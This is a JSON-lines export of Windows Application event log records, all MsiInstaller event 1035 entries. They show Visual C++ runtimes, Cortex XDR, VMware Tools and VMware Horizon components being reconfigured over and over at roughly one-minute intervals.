{"@timestamp":1657393151007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170011}}
{"@timestamp":1657393151044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170012}}
{"@timestamp":1657393151072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170013}}
{"@timestamp":1657393211109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170014}}
{"@timestamp":1657393211135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170015}}
{"@timestamp":1657393211186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170016}}
{"@timestamp":1657393211227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170017}}
{"@timestamp":1657393211255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170018}}
{"@timestamp":1657393211285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170019}}
{"@timestamp":1657393211312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170020}}
{"@timestamp":1657393211338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170021}}
{"@timestamp":1657393211375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170022}}
{"@timestamp":1657393211404,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170023}}
{"@timestamp":1657393270906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170024}}
{"@timestamp":1657393270933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170025}}
{"@timestamp":1657393270983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170026}}
{"@timestamp":1657393271024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170027}}
{"@timestamp":1657393271055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170028}}
{"@timestamp":1657393271086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170029}}
{"@timestamp":1657393271113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170030}}
{"@timestamp":1657393271141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170031}}
{"@timestamp":1657393271177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170032}}
{"@timestamp":1657393271204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170033}}
{"@timestamp":1657393330724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170034}}
{"@timestamp":1657393330755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170035}}
{"@timestamp":1657393330808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170036}}
{"@timestamp":1657393330852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170037}}
{"@timestamp":1657393330882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170038}}
{"@timestamp":1657393330913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170039}}
{"@timestamp":1657393330940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170040}}
{"@timestamp":1657393330966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170041}}
{"@timestamp":1657393331005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170042}}
{"@timestamp":1657393331034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170043}}
{"@timestamp":1657393390880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170044}}
{"@timestamp":1657393390906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170045}}
{"@timestamp":1657393390956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170046}}
{"@timestamp":1657393390995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170047}}
{"@timestamp":1657393391024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170048}}
{"@timestamp":1657393391056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170049}}
{"@timestamp":1657393391083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170050}}
{"@timestamp":1657393391113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170051}}
{"@timestamp":1657393391149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170052}}
{"@timestamp":1657393391177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170053}}
{"@timestamp":1657393450803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170054}}
{"@timestamp":1657393450832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170055}}
{"@timestamp":1657393450883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170056}}
{"@timestamp":1657393450924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170057}}
{"@timestamp":1657393450952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170058}}
{"@timestamp":1657393450989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170059}}
{"@timestamp":1657393451019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170060}}
{"@timestamp":1657393451046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170061}}
{"@timestamp":1657393451084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170062}}
{"@timestamp":1657393451113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170063}}
{"@timestamp":1657393511004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170064}}
{"@timestamp":1657393511030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170065}}
{"@timestamp":1657393511079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170066}}
{"@timestamp":1657393511119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170067}}
{"@timestamp":1657393511146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170068}}
{"@timestamp":1657393511176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170069}}
{"@timestamp":1657393511202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170070}}
{"@timestamp":1657393511229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170071}}
{"@timestamp":1657393511265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170072}}
{"@timestamp":1657393511291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170073}}
{"@timestamp":1657393570928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170074}}
{"@timestamp":1657393570955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170075}}
{"@timestamp":1657393571005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170076}}
